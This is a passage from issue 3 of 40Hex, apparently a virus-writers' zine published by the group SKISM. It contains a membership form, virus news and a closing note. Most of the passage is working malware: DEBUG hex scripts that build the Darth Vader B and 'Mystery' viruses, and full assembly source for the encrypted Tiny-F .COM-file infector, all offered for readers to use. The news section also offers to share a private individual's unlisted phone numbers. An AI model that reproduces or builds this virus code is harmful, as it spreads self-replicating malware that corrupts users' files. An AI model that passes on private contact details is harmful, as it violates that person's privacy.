your board to become to become a SKISM distribution site fill out the application below and upload it to one of the SKISM home bases listed in file one of this archive. Keep in mind, from the start of the group SKISM we have been virus authors, not trojan, bomb, or any other such distructive mechanism. The entire purpose of SKISM is virus reserch, to better understand the situation today with computer viruses. Therefore trojan and bomb authors shall apply elsewere, when you brush up your work, come back. No disrespect intended. ------------------------------------------------------------------------------ Application For Membership I am interested in becoming ___ A SKISM Member ___ A SKISM Distribution Site Sysop Handle: ________________ Aliases: ________________ First Name: ________________ (Used only for verification) Have you ever written a computer virus(es)? ___ If yes name it/them: _______________________________________ _______________________________________ Programming Languages you know: ____________________________ Know Well ____________________________ : ____________________________ : ____________________________ Hardly Know Are you a sysop of a BBS? ___ If yes leave the vitals: BBS Name: _________________________ Dialup: _________________________ State: _________________________ Running: example: Telegard._______ Are you in any way connected to and law enforcment agency? ___ Do you realize that being untruthfull to the above question waviers all legal matters: ____ Are you in anyway connected to any software company? ___ List three people you know (handles) : _________________ _________________ _________________ List three BBS that you have elite access to: Name: _____________________ Dialup: _______________________ Name: _____________________ Dialup: _______________________ Name: _____________________ Dialup: _______________________ Thank you. Please upload this applcation to one of the SKISM distribution site mentioned in the first file of this archive. ------------------------------------------------------------------------------- 40Hex Issue 3 0006 Virus News 10/91 ----- Well the virus world is going as good as ever, dispite the over 20 virus scanners/removers out there. The October 28th issue of PC-Magazine did a huge artical on the newest virus scanner/defense systems. Mentioned in the artical were SKISM-1 and Captian Trips. There is a new catagory of viruses out there, DIR-2 viruses. Havent located one as of yet, but hope to in the near future. Bogus SCANS continue to surface in the public domain. As if SCAN 82 was not played with enough, there have been many reports of bogus versions SCAN 84. Most of which contian trojan bombs and will distroy the FAT table or boot sector of you hard disk upon execution. I have the unreleased phone numbers of John Mcafee. Including his private office, home, and fax numbers. Get a hold of me somehow and I will get them to you. Theres a bogus version of the Red Cross virus going around on h/p boards. The first command is to terminate the program. Things people do for credit these days. In case you haven't yet heard Patti Hoffmans VSUM, virus information summary is now a giant hyper-text database. It's really a good program, check it out. Can't wait to see a bogus version of that going around. That's it for no - till later. 40Hex Issue 3 0007 The Darth Vader Virus Strain B The Darth Vader virus is pretty cool because it is a little differnt than most other viruses. Instead of going resident and infecting all programs run, it infects the stack space of all .COM files, as they are copied. Pretty cool, huh? This virus only infects .COM files with a stack space equal to its own size. It's orgin is Bulgeria, hmmm, has Bulgeria become the virus captial of the world all of a sudden??? Well here it is, enjoy. ------------------------------------------------------------------------------ n darth-2.com e 0100 E8 00 00 5E 83 EE 03 89 36 F0 00 A3 FE 00 31 C0 e 0110 8E D8 8E 06 AE 00 B8 00 90 8E D8 31 FF 47 81 FF e 0120 00 0F 77 58 57 31 F6 B9 58 01 F3 A6 5F E3 02 EB e 0130 EC 2E 8B 36 F0 00 2E 89 3E F2 00 0E 1F B9 58 01 e 0140 F3 A4 06 1F 8B F7 46 74 33 56 AD 93 AC 81 FB 36 e 0150 FF 74 03 5E EB F0 3C 16 75 F9 5E 56 2E 8B 3E F2 e 0160 00 89 3E 04 00 81 C7 41 01 A5 A5 A4 5F B0 9A AA e 0170 B8 95 00 2E 03 06 F2 00 AB 8C C0 AB 0E 0E 1F 07 e 0180 BF 00 01 57 8B 36 F0 00 81 C6 47 01 A5 A4 A1 FE e 0190 00 C3 E9 9C 00 2E 8C 1E 0A 00 2E 89 16 0C 00 2E e 01A0 89 0E 0E 00 50 53 51 06 56 57 80 FC 40 75 E3 81 e 01B0 F9 68 01 72 DD B8 20 12 CD 2F 26 8A 1D B8 16 12 e 01C0 CD 2F 83 C7 28 0E 1F BE 4A 01 03 36 04 00 B9 03 e 01D0 00 F3 A6 75 5C 1E 07 2E 8E 1E 0A 00 2E 8B 36 0C e 01E0 00 BF 47 01 2E 03 3E 04 00 A5 A4 B8 00 90 8E C0 e 01F0 2E 8B 0E 0E 00 31 FF 46 49 74 36 51 56 B9 58 01 e 0200 F3 A6 5E E3 03 59 EB ED 59 56 1E 2E 8E 06 0A 00 e 0210 2E 8B 3E 0C 00 B0 E9 AA 2E 2B 36 0C 00 83 EE 03 e 0220 8B C6 AB 07 5F 0E 1F 2E 8B 36 04 00 B9 58 01 F3 e 0230 A4 5F 5E 07 59 5B 58 2E 8B 16 0C 00 2E 8E 1E 0A e 0240 00 00 00 00 00 00 CB CD 20 90 43 4F 4D 44 61 72 e 0250 74 68 20 56 61 64 65 72 90 1A 1A 1A 1A 1A 1A 1A rcx 159 w q ------------------------------------------------------------------------------- 40Hex Issue 3 0008 Mystery Virus Actually I do know what this virus is, but being Halloween time and all I thought I'd let you find out for yourself. ------------------------------------------------------------------------------- n mystery.com e 0100 E9 4B 00 CD 21 2E 56 53 2E 00 8C C3 83 C3 10 2E e 0110 03 9C 3C 07 2E 89 9C 32 00 2E 8B 9C 3A 07 2E 89 e 0120 9C 30 00 8C C3 83 C3 10 2E 03 9C 40 07 8E D3 2E e 0130 8B A4 3E 07 EA 00 00 00 00 BF 00 01 81 C6 42 07 e 0140 A4 A5 8B 26 06 00 33 DB 53 FF 64 F5 00 07 E8 00 e 0150 00 5E 83 EE 4C FC 2E 81 BC 42 07 4D 5A 74 0E FA e 0160 8B E6 81 C4 FC 08 FB 3B 26 06 00 73 CC 2E C6 84 e 0170 76 00 C5 50 06 56 1E 0E 1F B8 00 C5 CD 21 3D 31 e 0180 67 75 04 07 E9 AB 00 07 B4 49 CD 21 BB FF FF B4 e 0190 48 CD 21 81 EB E8 00 73 03 E9 96 00 8C C1 F9 13 e 01A0 CB B4 4A CD 21 BB E7 00 F9 26 19 1E 02 00 06 8E e 01B0 C1 B4 4A CD 21 8C C0 48 8E D8 C7 06 01 00 08 00 e 01C0 E8 E1 05 8B D8 8B CA 1F 8C D8 E8 D7 05 03 06 06 e 01D0 00 83 D2 00 2B C3 1B D1 72 04 29 06 06 00 1E 0E e 01E0 2E C6 84 F5 00 62 33 FF 8E DF 1F B9 95 07 90 F3 e 01F0 A4 26 C7 06 49 07 00 00 B8 00 62 CD 21 8E DB 8B e 0200 3E 08 00 8B DF 8B 3E 06 00 47 8E DB 8B 5D 02 8B e 0210 3D 83 C7 1A 26 89 1E 93 07 8C C1 8E C3 FA B8 EA e 0220 00 AA B8 38 03 AB 8B C1 AB 8E C1 26 89 3E 91 07 e 0230 FB 07 B8 00 2A CD 21 3A D6 74 14 E9 8D 00 69 62 e 0240 6D 40 40 53 4E 53 20 20 20 20 20 20 20 20 20 0E e 0250 1F 5E 56 2E C6 84 68 01 CD B0 02 B9 01 00 33 D2 e 0260 2E C6 84 69 01 25 8B DE 81 C3 26 03 56 2D 4C 5A e 0270 5E 72 58 06 1E 07 2E C6 84 B1 01 26 2E C6 84 B0 e 0280 01 CD 8B FB 81 C7 F3 01 56 8B F3 83 C6 0B B9 09 e 0290 00 83 3C 00 74 16 F3 A4 5E 8B FB 83 C7 03 56 81 e 02A0 C6 39 01 B9 11 00 AC 2C 20 AA E2 FA 5E 56 33 D2 e 02B0 B0 02 B9 01 00 0C 1B 58 5E 07 72 0F 0E 1F 58 1F e 02C0 B8 03 C5 CD 21 58 B8 00 4C CD 21 5E 07 58 06 1F e 02D0 2E 81 BC 42 07 4D 5A 75 03 E9 2E FE E9 5A FE 50 e 02E0 53 51 52 56 57 06 1E 0E 1F 80 3E 39 07 01 75 2A e 02F0 B8 03 00 CD 10 C6 06 35 07 09 C6 06 38 07 00 C6 e 0300 06 36 07 00 C6 06 37 07 00 C6 06 33 07 00 C6 06 e 0310 39 07 00 90 C7 06 31 07 D2 06 80 3E 33 07 01 75 e 0320 03 E9 D5 00 80 3E 30 07 00 74 07 FE 0E 30 07 E9 e 0330 C7 00 8B 1E 31 07 83 3F FF 75 13 E4 61 24 FC E6 e 0340 61 C6 06 34 07 00 C6 06 33 07 01 E9 AB 00 80 3E e 0350 34 07 01 75 03 E9 92 00 B0 B6 E6 43 8A 47 02 A2 e 0360 30 07 C6 06 34 07 01 8B 1F B8 DD 34 BA 12 00 F7 e 0370 F3 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 83 06 31 e 0380 07 03 8A 36 37 07 8D 36 A5 06 B9 03 00 80 3E 35 e 0390 07 0F 7E 09 C6 06 35 07 09 90 EB 0E 90 80 3E 35 e 03A0 07 09 73 06 C6 06 35 07 0F 90 8A 1E 35 07 8A 16 e 03B0 36 07 E8 4D 00 FE C6 E2 F1 80 06 36 07 02 80 3E e 03C0 38 07 01 74 19 80 3E 37 07 15 77 0C 80 06 37 07 e 03D0 02 FE 06 35 07 EB 22 90 C6 06 38 07 01 90 80 2E e 03E0 37 07 02 FE 0E 35 07 EB 10 90 8A 07 A2 30 07 C6 e 03F0 06 34 07 00 83 06 31 07 01 1F 07 5F 5E 5A 59 5B e 0400 58 CF 51 B7 00 B4 02 CD 10 B9 01 00 AC 0A C0 74 e 0410 18 2C 20 3C DF 74 04 3C DC 75 06 B9 22 00 80 C2 e 0420 21 B4 09 CD 10 FE C2 EB DC 59 C3 B0 03 CF E8 39 e 0430 01 E8 49 03 9D 80 FC 68 2E FF 2E 91 07 55 8B EC e 0440 FF 76 06 9D 5D 9C FC 3D 00 4B 74 E2 80 FC 3C 74 e 0450 0A 80 FC 3E 74 4A 80 FC 5B 75 6F 2E 83 3E 49 07 e 0460 00 74 03 E9 A6 00 E8 B9 00 74 03 E9 9E 00 E8 0C e 0470 03 9D E8 EB 00 73 03 E9 99 00 9C 06 0E 07 56 57 e 0480 51 50 BF 49 07 AB 8B F2 B9 41 00 AC AA 84 C0 74 e 0490 07 E2 F8 26 89 0E 49 07 58 59 5F 5E 07 9D 73 73 e 04A0 2E 3B 1E 49 07 75 65 85 DB 74 61 E8 CF 02 9D E8 e 04B0 AE 00 72 5F 9C 1E 0E 1F 52 BA 4B 07 E8 AB 00 2E e 04C0 C7 06 49 07 00 00 5A 1F EB D3 80 FC 3D 74 35 80 e 04D0 FC 43 74 30 80 FC 56 74 2B 80 FC C5 75 2E 3C 03 e 04E0 74 06 B8 31 67 EB 37 90 1E B8 00 00 8E D8 FA C7 e 04F0 06 70 00 DA 01 8C 0E 72 00 FB 1F 2E C6 06 39 07 e 0500 01 EB 1B 90 E8 1B 00 75 03 E8 5E 00 E8 6E 02 9D e 0510 E8 4D 00 9C 1E E8 70 02 C6 06 00 00 5A 1F 9D CA e 0520 02 00 50 56 8B F2 AC 84 C0 74 24 3C 2E 75 F7 E8 e 0530 22 00 8A E0 E8 1D 00 3D 6F 63 74 0C 3D 78 65 75 e 0540 10 E8 10 00 3C 65 EB 09 E8 09 00 3C 6D EB 02 FE e 0550 C0 5E 58 C3 AC 3C 43 72 06 3C 59 73 02 04 20 C3 e 0560 9C 80 FC 68 2E FF 1E 91 07 C3 1E 06 56 57 50 53 e 0570 51 52 8C DE 33 C0 8E D8 C4 06 90 00 06 50 C7 06 e 0580 90 00 26 03 8C 0E 92 00 8E DE 33 C9 B8 00 43 E8 e 0590 CE FF 8B D9 80 E1 FE 3A CB 74 07 B8 01 43 E8 BF e 05A0 FF F9 9C 1E 52 53 B8 02 3D E8 B4 FF 72 0A 8B D8 e 05B0 E8 26 00 B4 3E E8 A8 FF 59 5A 1F 9D 73 06 B8 01 e 05C0 43 E8 9C FF 33 C0 8E D8 8F 06 90 00 8F 06 92 00 e 05D0 5A 59 5B 58 5F 5E 07 1F C3 0E 1F 0E 07 BA 95 07 e 05E0 B9 18 00 B4 3F E8 78 FF 33 C9 33 D2 B8 02 42 E8 e 05F0 6E FF 89 16 AF 07 3D 00 0B 83 DA 00 72 6C A3 AD e 0600 07 81 3E 95 07 4D 5A 75 17 A1 9D 07 03 06 AB 07 e 0610 E8 91 01 03 06 A9 07 83 D2 00 8B CA 8B D0 EB 15 e 0620 80 3E 95 07 E9 75 44 8B 16 96 07 81 C2 03 01 72 e 0630 3A FE CE 33 C9 B8 00 42 E8 25 FF 05 00 07 90 83 e 0640 D2 00 3B 06 AD 07 75 23 3B 16 AF 07 75 1D BA B1 e 0650 07 8B F2 B9 EF 02 B4 3F E8 05 FF 72 0E 3B C8 75 e 0660 0A BF 49 00 AC AE 75 03 E2 FA C3 33 C9 33 D2 B8 e 0670 02 42 E8 EB FE A3 45 07 89 16 47 07 81 3E 95 07 e 0680 4D 5A 74 0A 05 95 09 90 83 D2 00 74 19 C3 8B 16 e 0690 AD 07 F6 DA 83 E2 0F 33 C9 B8 01 42 E8 C1 FE A3 e 06A0 AD 07 89 16 AF 07 B8 00 57 E8 B4 FE 9C 51 52 81 e 06B0 3E 95 07 4D 5A 74 05 B8 00 01 EB 07 A1 A9 07 8B e 06C0 16 AB 07 2E C7 06 47 00 00 07 BF 3A 07 AB 8B C2 e 06D0 AB A1 A5 07 AB A1 A3 07 AB BE 95 07 A4 A5 33 D2 e 06E0 B9 49 07 90 B4 40 E8 77 FE 72 27 33 C8 75 23 8B e 06F0 D1 B8 00 42 E8 69 FE 81 3E 95 07 4D 5A 74 15 C6 e 0700 06 95 07 E9 A1 AD 07 05 46 00 A3 96 07 B9 03 00 e 0710 EB 57 EB 5D E8 8A 00 F7 D0 F7 D2 40 75 01 42 03 e 0720 06 AD 07 13 16 AF 07 B9 10 00 F7 F1 C7 06 A9 07 e 0730 49 00 A3 AB 07 05 72 00 A3 A3 07 C7 06 A5 07 00 e 0740 01 81 06 AD 07 49 07 83 16 AF 07 00 A1 AD 07 25 e 0750 FF 01 A3 97 07 9C A1 AE 07 D0 2E B0 07 D1 D8 9D e 0760 74 01 40 A3 99 07 B9 18 00 BA 95 07 B4 40 E8 EF e 0770 FD 5A 59 9D 72 06 B8 01 57 E8 E4 FD C3 1E E8 07 e 0780 00 C6 06 00 00 4D 1F C3 50 53 B4 62 E8 D1 FD 8C e 0790 C8 48 4B 8E DB F9 13 1E 03 00 3B D8 72 F5 5B 58 e 07A0 C3 A1 9D 07 BA 10 00 F7 E2 C3 FE FF FD 00 FE 40 e 07B0 75 73 73 72 40 40 40 40 40 76 89 92 95 73 8F 86 e 07C0 94 40 40 48 83 49 40 40 96 51 4E 40 51 59 59 50 e 07D0 40 FD 00 FE FC FD 00 4A 01 03 01 B8 01 0B 01 4A e 07E0 01 06 01 72 01 01 02 9F 01 09 01 15 01 02 02 15 e 07F0 01 03 02 72 01 08 01 4A 01 05 02 26 01 01 01 4A e 0800 01 08 02 15 01 03 02 15 01 03 03 26 01 08 02 26 e 0810 01 05 01 4A 01 01 02 72 01 08 01 72 01 04 01 72 e 0820 01 04 00 72 01 08 02 9F 01 06 02 B8 01 01 02 EE e 0830 01 0F FF FF FF 00 00 00 01 00 00 00 00 00 00 00 e 0840 01 3A 16 D8 8E C3 8E B8 00 4C 05 00 00 00 1A 1A rcx 74e w q ------------------------------------------------------------------------------- 40Hex Issue 3 0009 The Tiny-F Virus In our first issue we gave you the source for the Tiny-B virus. Well some people don't quit. After months of struggling Psyco-genius decided to give his attempts to make this a good virus over to someone who knows what he's doning. So Dark (mastered assembler in one week) Angel did some mods and here we have it. ------------------------------------------------------------------------------- tinyv SEGMENT BYTE PUBLIC 'code' ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv ORG 100h DOS EQU 21h start: JMP pgstart exlbl: db 0CDh, 20h, 7, 8, 9 pgstart:CALL tinyvir tinyvir: POP SI ; get SI for storage SUB SI,offset tinyvir ; reset SI to virus start MOV BP,[SI+blnkdat] ; store SI in BP for return ADD BP, OFFSET exlbl CALL endecrpt JMP SHORT realprog ;----------------------------------------------------------------------------- ; nonencrypted subroutines start here ;----------------------------------------------------------------------------- ; PCM's encryption was stupid, mine is better - Dark Angel endecrpt: ; Only need to save necessary registers - Dark Angel PUSH AX ; store registers PUSH BX PUSH CX PUSH SI ; New, better, more compact encryption engine MOV BX, [SI+EN_VAL] ADD SI, offset realprog MOV CX, endenc - realprog SHR CX, 1 JNC start_encryption DEC SI start_encryption: MOV DI, SI encloop: LODSW ; DS:[SI] -> AX XOR AX, BX STOSW LOOP encloop POP SI ; restore registers POP CX POP BX POP AX RET ;-----end of encryption routine nfect: CALL endecrpt MOV [SI+offset endprog+3],AX; point to data MOV AH,40H ; write instruction LEA DX,[SI+0105H] ; write buffer loc | MOV CX,offset endprog-105h ; (size of virus) --\|/-- INT DOS ; do it! PUSHF CALL endecrpt POPF JC outa1 ; error, bug out RET outa1: JMP exit ;----------------------------------------------------------------------------- ; Unencrypted routines end here ;----------------------------------------------------------------------------- realprog: CLD ; forward direction for string ops ; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel ; Instead, set DTA to SI+ENDPROG+131h MOV AH, 1Ah ; Set DTA LEA DX, [SI+ENDPROG+131h] ; to DS:DX INT 21h LEA DX,[SI+fspec] ; get filespec (*.COM) XOR CX, CX ; || (clear regs) MOV AH,4EH ; || (find files) mainloop: ; \||/ INT DOS ; ----\/---- JC hiccup ; no more files found, terminate virus ; Next part had to be changed to account for new DTA address - Dark Angel LEA DX, [SI+ENDPROG+131h+30]; set file name pointer ; (offset 30 is DTA filename start) MOV AX,3D02H ; open file INT DOS ; do it! MOV BX,AX ; move file handle to BX MOV AH,3FH ; read file LEA DX,[SI+endprog] ; load end of program (as buffer pntr) MOV DI,DX ; set Dest Index to area for buffer MOV CX,0003H ; read 3 bytes INT DOS ; do it! CMP BYTE PTR [DI],0E9H ; check for JMP at start JE infect ; If begins w/JMP, Infect nextfile: MOV AH,4FH ; set int 21 to find next file JMP mainloop ; next file, do it! hiccup: JMP exit infect: MOV AX,5700h ; get date function INT DOS ; do it! PUSH DX ; store date + time PUSH CX MOV DX,[DI+01H] ; set # of bytes to move MOV [SI+blnkdat],DX ; " " " " " " ; Tighter Code here - Dark Angel XOR CX,CX ; " " " " " " (0 here) MOV AX,4200H ; move file INT DOS ; do it! MOV DX,DI ; set dest index to area for buffer MOV CX,0002H ; two bytes MOV AH,3FH ; read file INT DOS ; do it! CMP WORD PTR [DI],0807H ; check for infection JE nextfile ; next file if infected getaval: ; encryption routine starts here ; My modifications here - Dark Angel MOV AH, 2Ch ; DOS get TIME function INT DOS ; do it! OR DX, DX ; Is it 0? JE getaval ; yeah, try again MOV word ptr [si+offset en_val], DX ; Store it ; Tighter code here - Dark Angel XOR DX,DX ; clear regs XOR CX,CX ; " " MOV AX,4202H ; move file pointer INT DOS ; do it! OR DX,DX ; new pointer location 0? JNE nextfile ; if no then next file CMP AH,0FEH ; new pointer loc too high? JNC nextfile ; yes, try again CALL nfect MOV AX,4200H ; move pointer XOR CX, CX ; clear reg MOV DX,OFFSET 00001 ; where to set pointer INT DOS ; do it! MOV AH,40H ; write to file LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER MOV CX,0002H ; two bytes (the JMP) INT DOS ; do it! MOV AX,5701h ; store date POP CX ; restore time POP DX ; restore date INT DOS ; do it! exit: MOV AH,3EH ; close file INT DOS ; do it! ; Return DTA to old position - Dark Angel MOV AH, 1Ah ; Set DTA MOV DX, 80h ; to PSP DTA INT 21h JMP BP ;----------------------------------------------------------------------------- ; encrypted data goes here ;----------------------------------------------------------------------------- fspec LABEL WORD DB '*.COM',0 nondata DB 'Tiny-F version 1.1' ; Program identification DB '???@&?????' ; author identification DB 'Released 10-19-91' ; release date endenc LABEL BYTE ; end of encryption zone ;----------------------------------------------------------------------------- ; nonencrypted data goes anywhere after here ;----------------------------------------------------------------------------- blnkdat LABEL WORD DW 0000H ; Only en_val is needed now because of new encryption mechanism en_val DW 0h endprog LABEL WORD tinyv ENDS END start ------------------------------------------------------------------------------- 40Hex Issue 3 0010 In Closing Well that will do it for this issue. Sorry it took so damn long, but screw it. Next issue we will have more articals, more viruses, and all that. We were supposed to have an interview with an Amiga virus writer this issue but we just couldn't get it in time. Also we were planning an interview with John Mcafee, but the same story there. Also next issue, I hope to have the Bob Ross virus, from the twisted mind of Dark Angel. And If I can find it, the DIR-2 virus and The Teqeulla Virus, so I can't spell. See you then.